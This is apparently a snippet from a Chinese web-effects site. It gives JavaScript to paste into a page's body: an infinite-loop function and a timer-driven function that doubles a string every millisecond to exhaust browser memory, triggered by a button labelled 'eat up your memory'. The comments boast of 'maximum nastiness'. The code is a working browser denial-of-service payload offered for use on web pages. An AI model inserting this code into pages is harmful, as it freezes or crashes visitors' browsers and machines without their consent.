要完成此效果把如下代码加入到<body>区域中
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function WhileLoopLock()
{
while (true){}
}
var szEatMemory = "GOBBLEGOBBLE" // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :> I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven! No while loops here!
function EatMemoryInTime()
{
szEatMemory = szEatMemory + szEatMemory // keep appending
window.status = "String Length is: " + szEatMemory.length // report size
window.setTimeout('EatMemoryInTime()',1); // tell netscape to hit this
function
}
// End -->
</SCRIPT>
<center><form><INPUT TYPE="button" value="吃光你的内存" Name="btnEatTime"
onClick="EatMemoryInTime()"></form>